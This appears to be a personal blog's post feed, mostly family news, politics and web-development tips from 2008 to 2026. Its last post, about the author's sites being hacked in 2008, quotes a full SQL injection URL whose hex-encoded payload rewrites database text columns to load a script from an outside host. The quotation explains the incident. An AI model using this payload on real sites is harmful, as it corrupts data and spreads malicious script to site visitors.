Posts on Alan Blount | AI/ML Engineer at Google

5 Things Every AI Engineer Should Know About Agent Sandboxes

Tue, 01 Sep 2026 00:00:00 +0000

5 Things Every AI Engineer Should Know About Agent Sandboxes Originally shared by Google Cloud Tech on X - September 1, 2026 Google Cloud Tech highlighted five critical considerations for AI engineers working with agent sandbox environments. These insights are crucial for anyone building secure, reliable AI agent systems. Why This Matters Agent sandboxes are fundamental for: Security isolation - Containing potentially unsafe agent actions Resource management - Controlling computational resources Execution boundaries - Defining safe operational limits Testing environments - Providing controlled spaces for agent development As someone working on AI agent systems at Google, these sandbox principles directly impact how we design memory architectures and agent runtime environments.

Agent Plugins Package Your Skills, Tools, and More

Thu, 06 Aug 2026 00:00:00 +0000

Agent Plugins Package Your Skills, Tools, and More Originally published on Google Developers Blog - August 6, 2026 Google has announced Agent Plugins 1.0.0, a new vendor-neutral directory specification backed by major tech companies including Google, Amazon, and Microsoft. This standard aims to package Agent Skills and MCP (Model Context Protocol) servers into portable, interoperable units. Key Highlights The specification standardizes the manifest (plugin.json) and utilizes a fixed directory layout, eliminating the need for developers to maintain separate wrappers or configurations to support different AI coding agents and IDEs.

2017 09 06 How To Learn

Wed, 06 Sep 2017 00:00:00 +0000

+++ description = “How To Learn — Arthur Knowledge” title = “How to Learn — Meta” categories = [""] tags = [“learning”, “meta”, “engaged”, “Arthur”] +++ My buddy Arthur recently shared this with me, his synthesis of research he’s been doing on how to be a more effective learner. Stay engaged Choose to find the information useful Be invested in tackling difficult problems Try to anticipate what’s next Identify big idea Use them as anchor to connect details Periodically summarize what you’ve heard Keep conclusions tentative Evaluate evidence, don’t accept it at face value Ask followup questions Don’t get derailed Concentrate on the message, not the messenger Don’t get thrown off by emotionally charged language Don’t stop listening when you disagree Humanize the presenter, get to know them Adjust note taking to the presenter’s patterns Seriously - how great is that?

Playing with Elixir is just FUN

Mon, 10 Jul 2017 00:00:00 +0000

I’ve been using Elixir for a few weeks now, sometimes forcing it to play nice with Mongodb/Meteor , which it doesn’t really want to do. Sometimes with Posgres (which it loves). Sometimes just plain ole’ Elixir with no persistance.

It is realllllly fun!

Meteor and Elixir (part one) A Rocky Courtship

Fri, 23 Jun 2017 00:00:00 +0000

I have been watching Elixir for almost 2 years now, and debating if it’s mature enough for me to invest in.

Obviously Erlang is super-mature, and Elixir is quite stable, but it’s a question of “is the community mature enough yet?”

Since I’m now writing this, I believe it is “ready”, and I’m beginning a journey to build out some services in Elixir to stand up next to existing node services (meteorjs) and slow move funcitonality over to to Elixir.

Chapter One: Proof of Concept, Mongo is supposed to be Simple.

2017 06 14 Pdfjs Ui Simple Proof Of Concept

Wed, 14 Jun 2017 00:00:00 +0000

+++ draft = true author = "" categories = [] date = “2017-06-23T13:27:38-04:00” description = "" featured = "" featuredalt = "" featuredpath = "" linktitle = "" title = “2017 06 14 pdfjs ui simple proof of concept” +++

Meteor 1.5 ~ Bundle Optimization + Examples

Wed, 31 May 2017 00:00:00 +0000

I have been playing with Meteor 1.5 and it’s dynamic imports, which can be used to reduce the amount of javascript code sent to the browser.

This article is a deep dive into how to profile and optimize your client side code to make smarter use of the new dynamic imports…

Which will make meteor load faster for your users.

2017 05 29 Memorial Day Homework

Mon, 29 May 2017 00:00:00 +0000

+++ date = “2017-05-29T18:28:04-04:00” description = “project time, memorial day, and website hugoized” tags = [“homework”, “kids”,“code”] title = “2017 memorial day homework” +++ I have made the formal household declaration that all screen time will be matched, hour-for-hour with project time. Yesterday we cleaned the 1st floor, mopped and everything. Today we went grocery shopping, made lunch, and then started on homework time. To say that I am unpopular here, would be an understatement.

2017 01 01 Nerd Goals

Sun, 01 Jan 2017 00:00:00 +0000

+++ author = “alan” categories = [“nerd”, “elixir”, “machine learning”, “advocacy”] date = “2017-01-01T23:37:35-04:00” description = “My goals as a nerd, in 2017” featured = "" featuredalt = "" featuredpath = "" linktitle = "" title = “2017 nerd goals” +++ Personal Nerd Goals publish - rejuvinate a history of developer advocacy learn elixir - build a couple of projects from a couple of angles learn machine learning basics

Best part of CodepaLOUsa so far…

Tue, 28 Apr 2015 05:10:01 +0000

Best part of CodepaLOUsa so far… sitting next to Douglas Crockford at dinner tonight. Occasionally I’m the lucky one. (Hope I didn’t bore him too much) Anyway – having a fun time at CodepaLOUsa and hope all other attendees are too. http://codepalousa.com/schedule

Coreos & Docker, great presentation

Tue, 21 Oct 2014 18:43:00 +0000

Found this inspriing presentation from a Chicago Docker meetup: http://www.mediafly.com/news/karl-grzeszczak-september-docker-presentation from: Chicago Docker – September 2014 at Mediafly Thursday, Sep 25, 2014, 6:00 PM http://www.meetup.com/Docker-Chicago/events/204992852/ by: Karl Grzeszczak: on Twitter @karl_grz and his website http://karlgrz.com/. It linked to this amazingly well done animation on RAFT consensus and how it works: http://thesecretlivesofdata.com/raft/ Also linked a great blog post: http://lukebond.ghost.io/deploying-docker-containers-on-a-coreos-cluster-with-fleet/ And here are some of the “main” coreos repos: https://github.com/coreos/etcd After digging up a bit on the presenter, he also had this interested post:

Life Changlingly Good TED Radio Hour: “The Source of Creativity”

Tue, 14 Oct 2014 14:07:05 +0000

http://www.npr.org/programs/ted-radio-hour/351538855/the-source-of-creativity Basic summary: “everyone is and can be creative: you just have to be fearless about failing, and practice a bunch.” Led to this understanding by my art-teacher mother, since early childhood I’ve been saying something pretty similar. Creativity is wonderful, amazing, useful, freeing, and fun… but it’s not rare. Being creative is a skill, available to everyone. It doesn’t have to be “Art” (note the capital A) nor innovation. It doesn’t have to be shared.

Meteor 0.9.2-rc1 is fun to play with, Cordova support functional

Tue, 09 Sep 2014 21:41:00 +0000

Last night I started playing with `meteor –release 0.9.2-rc1` which you can read about and play with too; check it out here: https://meteor.hackpad.com/Getting-Started-With-Cordova-Z5n6zkVB1xq It’s wonderful! The local development and hot-code-push is a great improvement over any other solution I’ve been using. Builds were painless (mostly). Most of my stumbling points were due to 9x, not the new Cordova stuff. A few interesting details… Cordova gets built here: So far, nothing easy in regards to configuring Cordova, but I’d guess we can edit the config.

Meteor Core Cordova Support – Alpha Release is out

Mon, 25 Aug 2014 20:02:49 +0000

We’ve been watching this for a while, but now the first Alpha release is out for Meteor + Cordova built into the core. SWEET! Watch the DevShop Presentation on it here: https://www.youtube.com/watch?v=zzNoXbv1DX4&feature=youtu.be&t=24m And here are instructions to get it going and play with it: https://meteor.hackpad.com/Getting-Started-With-Cordova-Z5n6zkVB1xq Also, just an update, MeteorRider is still a strong and simple option for getting Meteor into Cordova (DOM hijacking), but I’m also checking out another great looking option is Cordova Loader (builds all Cordova assets into the public folder of Meteor).

Testing tools for Old OS & Browser Combos

Fri, 30 May 2014 18:09:40 +0000

Lots of us have to trace down odd bugs and test things on different browsers and OS combinations… Of course, the worst of which is “various versions of IE” on “various versions of Windows”. It seems crazy, but the same version of IE can behave differently on a different version of Windows. The two best solutions I’ve used are: http://www.modern.ie/en-us/virtualization-tools [free, vm locally] and http://www.browserstack.com/ [costs, web based] I just got assigned a crappy bug ticket on IE8 + WinXP and had to dust this off again… thought I’d send out a post, see if it helps others and triggers a discussion which might help me out too.

Great advice from Arunoda “Just Contribute!”

Thu, 24 Apr 2014 14:06:47 +0000

http://readme.lk/noticed-tech-crowd-interview-arunoda-susiripala/ This advice might be aimed at people who already consider themselves developers, but there’s a nugget in there that’s perfect for anyone who is interested in getting started… Pick some open-source project, probably a smaller one, that does something you’re interested in. Maybe it’s something you tried out and used. Maybe it’s something you tried out and it didn’t work out. Maybe it’s something you looked at and didn’t understand.

Meteor + PhoneGap/Cordova (Roundup – Fall 2013)

Fri, 23 Aug 2013 02:49:23 +0000

UPDATE: see meteor-core-cordova-support-alpha-release-is-out (2014-08-25) for new information About Meteor and PhoneGap / Cordova Meteor is a rapid server/client development framework, written in JS – makes very interactive apps easy to build. http://meteor.com PhoneGap / Cordova is a project to allow developers to use HTML, CSS, and JS to build mobile apps for all major devices. http://phonegap.com Basics of Integrating Meteor + PhoneGap / Cordova The basic idea here is to use PhoneGap / Cordova to create a mobile App on several different platforms at once and it gives device hardware access; then “load” your Meteor application, which handles all of the rest of whatever you want your app to do.

Looking for a new blog platform

Fri, 02 Aug 2013 02:50:23 +0000

I’m working too much to afford the time to build one right now, but I’m looking into a MeteorJS bloging system…. Anyone got a recommendation? @zeroasterisk

MOSSCON 2013 was lots of fun

Sun, 19 May 2013 10:53:59 +0000

I had a great time attending and presenting at moscon. http://mosscon.org/ May 18 – 19, 2013 | University of Louisville | Louisville, Kentucky I know it was a lot of work for the people who set it up, but you did a great job and I look forward to attending again in another year. (if I present again next time, my slides will be more readable, I promise…)

Windows + Linux guy, switching to OSX

Wed, 27 Jun 2012 15:41:48 +0000

I have recently switched to Mac full-time, coming from a Windows/Linux background. <ul> <li> Take Screenshots: Capture an image of what you see on your computer screen </li> <li> Record Screencasts: Record up to 5 minutes of onscreen video + audio </li> </ul> <div> <a href="http://www.techsmith.com/jing.html">http://www.techsmith.com/jing.html</a> / <a href="http://www.techsmith.com/jing-features.html">http://www.techsmith.com/jing-features.html</a> </div> <div> <img src="http://content.screencast.com/users/alanblount/folders/Jing/media/fc0ef87d-f0b2-4b6b-90db-603d581c837a/00000089.png" alt="Inline image 2" /> <img src="http://content.screencast.com/users/alanblount/folders/Jing/media/e92b706f-dda9-405e-a2a3-ac346423ffe4/00000090.png" alt="Inline image 3" /></div> <div> Alfred – free / can pay for extra features </div> <ul> <li> Increase your productivity by launching apps with shortcuts </li> <li> Instant access to web searches, bookmarks & more </li> <li> Browse and play music from your iTunes library quickly </li> <li> Perform actions =96 copy, move & email files & folders </li> <li> Ward off RSI =96 skip using the mouse with easy shortcuts </li> </ul> <div> <a href="http://www.

Blount 2011 “Year in Review Letter”

Tue, 20 Dec 2011 17:20:16 +0000

Everyone seems to do a great job of sending out yearly letters around the holidays, so here’s our attempt. We collected some of our favorite photos from this year (mostly just the summer and fall) and made this video: http://animoto.com/play/PXP02w37vyZ60ddGU7vxxg Go ahead and watch it. Back already? It’s the end of December already and Poppy is almost 4 (01/24) and Oliver is almost 2 (02/02). Last year at this time, we went to Kansas City for Christmas with Alan’s family and after a long drive on Christmas eve, made it back to Louisville for Christmas with Anita’s.

Adobe Connect Issue and Fix: Lingering FMSCore.exe processes

Fri, 23 Jul 2010 17:54:50 +0000

We’ve setup Connect to expire the FMSCore processes after 2 hours, but if someone is still connected to a recording, it will keep the old zombie FMSCore process until that person disconnects. It often happens that doesn’t work – and there’s seemingly no garbage collection in place to clean up old FMSCore. So we created a simple AutoIt script which can be compiled to an EXE which works, but it has some dependancies…

I’m just Git’ting it

Fri, 07 May 2010 22:13:20 +0000

Everyone and their mom have been using Git and GitHub for a while, but I’m just breaking down and using it… I have been slow to adopt because SVN worked for me fine (until I had to merge branches) and I don’t like to pay for storage space. But I continue to be impressed by it’s functionality and ease of use, so I’m going to move our work repositories over (needing a Large account probably) but I think it will be worth it.

Ollie and Anita are fine, but stuck in the hospital still

Tue, 13 Apr 2010 13:50:23 +0000

Oliver has been feeling a bit sick for a couple of days, and it was acute yesterday early afternoon – he was doing the “I’m in pain” cry for a half an hour straight and was inconsolable. Very unusual for him. So we made an appointment to see the Pediatrician and by the time we got in there (~3 hours later) he seemed pretty normal, though really tired still because he is sick and doing all the extra crying, but sleeping and eating ok again.

CakePHP beforeSave() gotcha: need to set $this->__exists to true if setting a primary key

Fri, 19 Feb 2010 02:59:45 +0000

I added an update to CakePHP Book: beforeSave() Also, if you add a primary key which would turn an “insert” into an “update” within beforeSave() you’ll need to set $this->__exists = true;… the call to $this->exists(); happens in model.php before the callback to beforeSave(). if (!isset($this->data[$this->name]['id']) && isset($this->data[$this->name]['unique_field'])) { $found = $this->find("first",array( "recursive" => -1, "fields" => array("id"), "conditions" => array("unique_field" => $this->data[$this->name]['unique_field']))); if (!empty($found) && isset($found[$this->name]['id'])) { $this->id = $this->data[$this->name]['id'] = $found[$this->name]['id']; $this->__exists = true; } } return parent::beforeSave(); }

Google Profiles now with content

Mon, 15 Feb 2010 18:31:09 +0000

Alan’s Google Profile, now updated with Buzz activity, searchable, and pulling content from various feeds, including flickr, facebook, twitter, etc… If you don’t see this as “competition” for Facebook (et. al.) then you’re not seeing the same thing I am. I personally love it, esp. the publicly searchable aspects and the integration into the gmail interface but I might stop using it if other people don’t or if it can’t work two-way with facebook….

Oliver is born, go and tell it on the mountain

Thu, 04 Feb 2010 05:58:10 +0000

Most of you have heard from the grapevine or facebook (this generation’s grapevine) that our son, Oliver Jackson Blount, was born on 2010-02-02 @ 14:35 EST. He was 9 pounds 15 ounces and 23 inches (they measured twice to be sure). We had a home birth with 2 midwives and an apprentice, a doula, Anita’s mom (former NICU nurse) and sister Virginia (new nurse) in attendance… of yeah, and me. The decision to have a home birth was one we took very seriously and subsequently are very happy with; it being unusual is often the topic of conversation… but I can summarize with the following: We had a normal and healthy fetus inside a normal and healthy mom, everything looking like it would progress as “low risk” we choose to stay at home with the support of professionals vs.

Google Apps removes support for IE6

Mon, 01 Feb 2010 23:24:10 +0000

http://googleenterprise.blogspot.com/2010/01/modern-browsers-for-modern-applications.html Many other companies have already stopped supporting older browsers like Internet Explorer 6.0 as well as browsers that are not supported by their own manufacturers. We’re also going to begin phasing out our support, starting with Google Docs and Google Sites. As a result you may find that from March 1 key functionality within these products — as well as new Docs and Sites features — won’t work properly in older browsers.

MySQL Master/Slave Replication Monitoring PHP Script

Wed, 13 Jan 2010 18:47:25 +0000

I’m a bit proud of myself on this one… I setup a simple, but clean and configurable, MySQL Master/Slave Replication Monitoring PHP Script: http://code.google.com/p/php-mysql-master-slave-replication-monitor/ (docs) It’s Open Source and free, I welcome comments, suggestions, and questions. I think this will be quite useful for anyone who is setting up a pair of MySQL servers as master/slave and want to be sure their replication works as it should.

Our Trip to California

Wed, 09 Sep 2009 15:22:44 +0000

We are home again, from a trip to San Francisco and Sonoma, California. (map) The trip was for April’s wedding (Anita’s sister) to Billie one of our best friends from our three years in Columbus, OH. We started out by going to Salt Point State Park and camping. We were able to hike to the beautiful (but cold) cliff-lined-coast and watch seals and waves alike. On our way back from camping we visited Fort Ross, the oldest establishment on the west coast, and old Russian trading post.

WolframAlpha & Google Chrome OS

Wed, 08 Jul 2009 16:58:09 +0000

I recently came across wolframalpha which is really fantastic. It provides a much of data for a very wide variety of searches… basically the neat part is it’s conversion of English statements into data-based queries and graphs… It works across tons and tons of datatypes, including one of the most useful weather reports I’ve seen… simple and obvious and useful data across the board. (perhaps I just like graphs too much) It also has good financial data, though I still prefer google finance.

Potty Time

Mon, 06 Jul 2009 03:09:23 +0000

Poppy is now using her potty. She’s been sitting on it for a while, but this weekend was the first time she actually used it successfully (twice so far). We, of course, cheered and encouraged her… But I think it just clicked in her brain that was what she was supposed to do. I don’t expect that we’re going to have a terribly high success rate right away, but it’s great to be on that path.

SVN Merge, making sure a branch is updated from trunk, then merging back to trunk

Thu, 05 Mar 2009 17:49:34 +0000

So I’ve just fought a battle w/ SVN merge and thought I’d post the solution in case others might find it… Scenario Our stable code is in trunk svn://svn.domain.tld/repository/trunk I’ve got a branch of trunk svn://svn.domain.tld/repository/branches/dev Changes have been made to my branch and changes have been made to trunk, since I branched. I’m ready to merge my branch back into trunk. Approach / Overview Basically, to be safe, I need to first update my branch with the changes from trunk and resolve any conflicts.

Op-Ed Wall Street’s Jet Setters

Fri, 30 Jan 2009 19:23:10 +0000

Wall Street’s Socialist Jet-Setters By MAUREEN DOWD – Published: January 27, 2009 How are these ruthless, careless ghouls who murdered the economy still walking around (not to mention that sociopathic sadist Bernie Madoff?) — and not as perps? Bring on the shackles. Let the show trials begin. Very frustrating indeed, but I don’t know of any means of invoking a change. We can complain on the net and raise virtual pitchforks in anger… but there’s nothing which will come of it.

Re: Memo to All My Valued Employees

Wed, 14 Jan 2009 19:54:00 +0000

Here’s my response to the following “letter” which I received as a forward today: Letter subject: “Memo to All My Valued Employees” Basic gist of the letter: Most of my time is now occupied with government mandates and regulations and all the accounting that goes with them. On October 15th, I wrote a check to the US Treasury for $288,000 for quarterly taxes. You know what my “stimulus” check was? Zero.

Poppy is babbling on all syllables

Wed, 14 Jan 2009 07:30:09 +0000

Penelope is really talking these days. There are still no really discernable words, and for the most part, no reliable mimicking. We can not prompt her and expect a desired response. But she is certainly mimicking speech patterns on her own including intonation and cadence. She’ll do so while toddling around the house carrying a toy or article of clothing or piece of trash. She will also babble back to you, when you’re talking to her.

Poppy’s Room, now with mural

Mon, 05 Jan 2009 21:39:53 +0000

My mom and her friend Joanne painted a wonderful mural on Poppy’s room. I decided to play with a very fun tool called photosynth to stitch together several photos into one unified picture or the room in 3-D (sort of). It will not work except on IE and FF and you may need to install a viewer (it’s safe, but an annoyance). Regardless, this is my first photosynth and I may make more… not sure at the moment.

Home from Houston after the Holidays

Mon, 29 Dec 2008 14:53:28 +0000

We went to Houston this year, for Poppy’s first Christmas and spent almost a week with my family. Everyone loved and was amazed by Poppy, of course and she did splendidly. She traveled quite well, sleeping for the first part of both flights and playing quietly for the second. She also did a remarkably good job dealing with all the people she didn’t really know and the back and forth craziness of going from house to house to house.

Obama’s 27 year old speech writter…

Sun, 21 Dec 2008 14:16:46 +0000

Helping to Write History By Eli Saslow Washington Post Staff Writer Thursday, December 18, 2008; Page A01 During the campaign, the buzz-cut 27-year-old at the corner table helped write and edit some of the most memorable speeches of any recent presidential candidate. When Obama moves to the White House next month, Favreau will join his staff as the youngest person ever to be selected as chief speechwriter. He helps shape almost every word Obama says, yet the two men have formed a concert so harmonized that Favreau’s own voice disappears.

we refinanced our mortgage today

Wed, 17 Dec 2008 23:04:23 +0000

We have refinanced (or at least started the process) and locked in at 4.96 after paying a point (it was 5.6 without the point, lenders wanting up-front money and assurance in today’s market). We are rolling in the point and closing costs into the new loan and we’ll still be saving $140/month over our current loan (and if we hadn’t rolled in the costs, it would only have saved us $21/month more).

repost: If programming languages were religions

Wed, 17 Dec 2008 18:00:20 +0000

A very funny post for the programming nerds out there: If programming languages were religions… By amz – Monday, December 15, 2008 at 14:52 PHP would be Cafeteria Christianity – Fights with Java for the web market. It draws a few concepts from C and Java, but only those that it really likes. Maybe it’s not as coherent as other languages, but at least it leaves you with much more freedom and ostensibly keeps the core idea of the whole thing.

Poppy is walking like a champ

Fri, 12 Dec 2008 16:10:56 +0000

So there’s no going back… Though she’s still holding on to fingers when offered (or when produced after her sometimes insistent request) she is walking all the way across rooms without assistance and often without falling. For the most part, when she does fall, it’s fairly controlled and without incident. All of our childproofing is being reassessed now. It’s a best effort thing anyway – for the most part, she’s going to get into whatever she can, we just try to remove the most dangerous and delicate things from 4 feet or lower.

Recently read an excellent article on walmart’s perception as evil.

Fri, 12 Dec 2008 16:06:43 +0000

An excellent article on Walmart being evil or not – a fairly objective seeming overview of the major points of discussion for the different camps on Walmart. That’s a good thing, right? If a company achieves its lower prices by finding better and smarter ways of doing things, then yes, everybody wins. But if it cuts costs by cutting pay and benefits–or by sending production to China–then not everybody wins. And here’s where the story of Good Wal-Mart starts to falter.

Try to stay out of the doghouse

Tue, 09 Dec 2008 18:03:57 +0000

source: JC Penney: Beware of the Doghouse

Birth Control Pills Affect Women’s Taste in Men

Fri, 05 Dec 2008 18:20:50 +0000

I thought this was a very interesting article Birth Control Pills Affect Women’s Taste in Men It’s all about scent. Hidden in a man’s smell are clues about his major histocompatibility complex (MHC) genes, which play an important role in immune system surveillance. Studies suggest that females prefer the scent of males whose MHC genes differ from their own, a preference that has probably evolved because it helps offspring survive: couples with different MHC genes are less likely to be related to each other than couples with similar genes are, and their children are born with more varied MHC profiles and thus more robust immune systems.

I Heart Coffee (well, not me actually)

Wed, 03 Dec 2008 15:23:43 +0000

I have never developed a taste for coffee, personally, but I love the smell and I do love all the sugary-icey-foo-foo drinks. Here’s an entertaining story about coffee from Christoph Niemann, an illustrator at The New Yorker, Atlantic Monthly, The New York Times Magazine and American Illustration.

G20 – Bush getting snubbed

Tue, 02 Dec 2008 06:28:11 +0000

I’m one of the first to speak out against the current (soon-to-change-thank-god) US government, but this video really does make me sad. I have little to say positive toward G.W.Bush and have certainly complained about him (often) when really complaining about the actions of many many people… but I don’t think I’d go so far as to refuse to shake his hand. I mean, he’s still a person. On the otherhand, I myself have toyed with the idea of considering him a mass murderer… so from that perspective, I wouldn’t want to shake his hand or be in the same room with him.

Mr. Bush is no longer president and no longer resides here

Wed, 19 Nov 2008 19:01:16 +0000

One sunny day in 2009 an old man approached the White House from across Pennsylvania Avenue, where he’d been sitting on a park bench. He spoke to the U.S. Marine standing guard and said, ‘I would like to go in and meet with President Bush.’ The Marine looked at the man and said, ‘Sir, Mr. Bush is no longer president and no longer resides here.’ The old man said, ‘Okay, thank you’ and walked away.

Photos Uploaded

Sun, 09 Nov 2008 05:49:13 +0000

I’ve finally processed and uploaded the photos from my camera. We’ve got new ones from september, october, and november. Most are of Poppy, but not all of them. Some great halloween photos, some camping, and many other occasions where the camera was brought out. You can see some on the homepage of this site, or poke around flickr at: http://flickr.com/photos/zeroasterisk/

Obama is our president, and there is much rejoicing

Fri, 07 Nov 2008 21:49:46 +0000

I feel like I should have something profound to say. I’ve been a supporter since I picked up one of his books and have grown more so as I’ve found out more and more about Obama and his family and views and campaign. We watched the results at our friend’s house and were ready to cry together, but thankfully we didn’t have to. After the last two presidential elections, I was pessimistic and ready to be disappointed – when Obama won I really had to do a couple of reality checks.

A recent letter from my mom, about her visit and poppy

Fri, 07 Nov 2008 21:40:42 +0000

An email from my Mom who recently visited us. It’s a great recap and update on Poppy, so I’m just pasting in here: I recommend becoming a grandmother — it’s the best! I have just returned from a week in Louisville with Alan and Anita…and Poppy, which included two Halloween parties, a wedding in Columbus, a long walk in Iroquois park to check out the fall colors, two swimming lessons for Poppy (with Anita), and progress made on Poppy’s room mural by my good friend, Joan Firster and me.

Poppy Update @ 9 months

Wed, 29 Oct 2008 04:20:25 +0000

We went for Poppy’s nine month old check up today and she is starting to slim down and lengthen. At her 7month visit, she was 19lbs and 27.5inches, and now she is holding steady at 19lbs and up to 29inches. There were no vaccines today – woohoo! After her visit and a good nap, we were playing downstairs and she took her first preliminary, wobbly steps. It was just 2-3 steps a time or 2, but it was pretty amazing.

This American Life, for the win – re: talking to our kids as much as possible

Sun, 19 Oct 2008 05:34:33 +0000

364: Going Big All of TAL is always great, moving, funny, and every other positive adjective I could think of (yes, I’m a fanboy)… but the first act in this show is about baby education and it’s importance… Paul Tough reports on the Harlem Children’s Zone, and its CEO and president, Geoffrey Canada. Among the project’s many facets is Baby College, an 8-week program where young parents and parents-to-be learn how to help their children get the education they need to be successful.

hamachi install error on ubuntu – fixed

Thu, 09 Oct 2008 15:54:37 +0000

I recently re-installed ubuntu (linux) on a server and ran into difficulties installing hamachi. As it turned out I tried to setup hamachi without installing the tun module first. I then installed the tun module, but hamachi wouldn’t work. I eventually figured out that the tuncfg had to be cleaned/make’ed again, after the tun was re-created. This is the error I was getting: bash: /sbin/tuncfg: No such file or directory

In 1999, a choice was made to ease lending restrictions

Fri, 03 Oct 2008 20:06:58 +0000

NY Times article: Fannie Mae Eases Credit To Aid Mortgage Lending : September 30, 1999 In a move that could help increase home ownership rates among minorities and low-income consumers, the Fannie Mae Corporation is easing the credit requirements on loans that it will purchase from banks and other lenders. The action, which will begin as a pilot program involving 24 banks in 15 markets — including the New York metropolitan region — will encourage those banks to extend home mortgages to individuals whose credit is generally not good enough to qualify for conventional loans.

Quick Poppy Accomplishment Update

Wed, 01 Oct 2008 21:13:43 +0000

Poppy has started really reaching for people when she wants to be held. She also now will usually kiss whomever is holding her. That kiss is often with an open mouth and extended tounge, but we’re not picky – it counts!

Wall Street Bailout, explained on Fresh Air’s show Sept. 23, 2008

Fri, 26 Sep 2008 02:30:11 +0000

A fantastic interview on Fresh Air regarding our current state of the economy and the proposed bailout plan, where we are encouraged to not look at the details and just buy… The Wall Street Bailout: A Conflict Of Interest? Henry Paulson: The Treasury secretary’s $700 billion bailout plan awaits congressional approval.Getty Images Fresh Air from WHYY,September 23, 2008 · With financial markets in flux and a massive government rescue package in the works, financial reporter and New York Timescolumnist Gretchen Morgenson looks into what’s involved in the nearly $700 billion deal.

Grand Central – Project CARE (phone numbers for the homeless)

Thu, 25 Sep 2008 23:01:47 +0000

<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;"> Project CARE (Communications and Respect for Everybody) recognizes the desire for those in need to get back on their feet and begin a new life. An essential element to that proposition is a consistent and reliable phone number – a place where anyone (family, friends, social workers, health care providers, potential employers, etc.) can leave you a message.

Poppy is a leaf eater

Thu, 25 Sep 2008 02:31:40 +0000

Anita and many of the mom’s took their offspring to Tyler Park today. Poppy was somewhat fussy, all day and in fact all month… she’s getting teeth and she’s frustrated that she can’t really walk on her own yet. Life is hard. So hard, in fact, that sometimes, if you’re a baby, you just gotta eat some leaves and puke… which she did, with abandon. What we didn’t figure out until ~9pm tonight was that one of those leaves was stuck to the roof of her mouth for over 5 hours.

Back in business, now with power

Mon, 22 Sep 2008 02:14:00 +0000

Saturday night we got back home and were amazed to see lights on. LG&E rigged up some scary looking connections across downed lines (we will not go walking on stilts), but they got our block light up… faster than I expected. We were without power for right at a week, and it certainly could have been much worse. We had no damage and no monetary loss (except the food in the fridge/freezer).

The big Louisville windstorm of 2008

Tue, 16 Sep 2008 14:56:07 +0000

We’re without power, like most of Louisville. On Sunday afternoon the wind really started picking up. We thought a storm was coming, but we had no idea about the extent. So, stupidly, we went for a walk around the neighborhood with Poppy. As we are walking, we see a small tree go down… “whoa – that’s crazy” but you know, it’s a small tree, perhaps it was just planted… then we get a little further and we hear a big ripping sound and look back and less than half a block up a huge oak tree has just been pulled up at the roots.

CakePHP Workshop, in Review

Mon, 08 Sep 2008 15:38:13 +0000

We had the very good fortune of attending the first CakePHP workshop, in Raleigh, NC this weekend. Four of the core developers of the project where there, including the project manger and the lead developer; along with one of the guys behind jquery-UI. The non-presenters ranged from people who had never used [We had the very good fortune of attending the first CakePHP workshop, in Raleigh, NC this weekend. Four of the core developers of the project where there, including the project manger and the lead developer; along with one of the guys behind jquery-UI.

CakePHP Workshop 2008.09.06

Sat, 06 Sep 2008 13:00:18 +0000

So here I am, in Raleigh, NC – waiting for the CakePHP Workshop to start… We survived the rain so far, waiting to see if there is any flooding or whatnot. Have met a few people here so far, all seem very friendly. Looking forward to seeing what happens and what we learn along the way. I am wearing my “I [heart] LAMP” geek-shirt today, as it seemed appropriate (if a little over the top nerdy).

A Great post on a friend’s blog

Fri, 22 Aug 2008 02:51:38 +0000

US Contractors in Iraq’s motto: “What happens here today stays here today.” The Most Privatized War in US History. Blackwater USA: The US State Department pumps $700 million worth of security contracts into the soldier-for-hire company of a major Republican funder. Meanwhile, Paul Bremer signs Order 17 granting immunity to private contractors in Iraq, “effectively barring the Iraqi government from prosecuting contractor crimes in domestic courts.” Havoc ensues. Jeremy Scahill’s “Making a Killing” in the Oct.

A great article on Jan Arnow’s work in Rwanda

Thu, 14 Aug 2008 03:46:01 +0000

Rwandans look to Louisville for interfaith model The Rwandans invited the center’s executive director, Jan Arnow, to visit their country, where in May, she conducted workshops and discussions with a group that included various faiths, from Muslims to Catholics to Quakers to Pentecostals. During that visit, she said, group members told her, “We want to do what your organization does” — leading to establishment of the center’s first branch outside Kentucky.

Alan’s Finger is in a Torture Device

Thu, 26 Jun 2008 16:21:00 +0000

Alan’s fingers were bent backwards and the ligaments are contracting/scaring… this is supposed to fix it (uncomfortably).

Work sites attacked

Mon, 21 Apr 2008 17:20:49 +0000

Just an FYI – some of our old sites are not filtering out injection attacks and got hosed last weekend. The attack seems fairly sophisticated (imo) and is described in this post. orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000 4300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0072002000430055 00520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D00200073007900 73006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069 006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F0072002000 62002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D0031 0036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00 200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028004000400046004500540043 0048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B00 27005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C 005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E00 6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045 00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);– If you just copy the hex value from this URL, as this… 0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000430020007600610072006300680061007200280032003500 3500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C 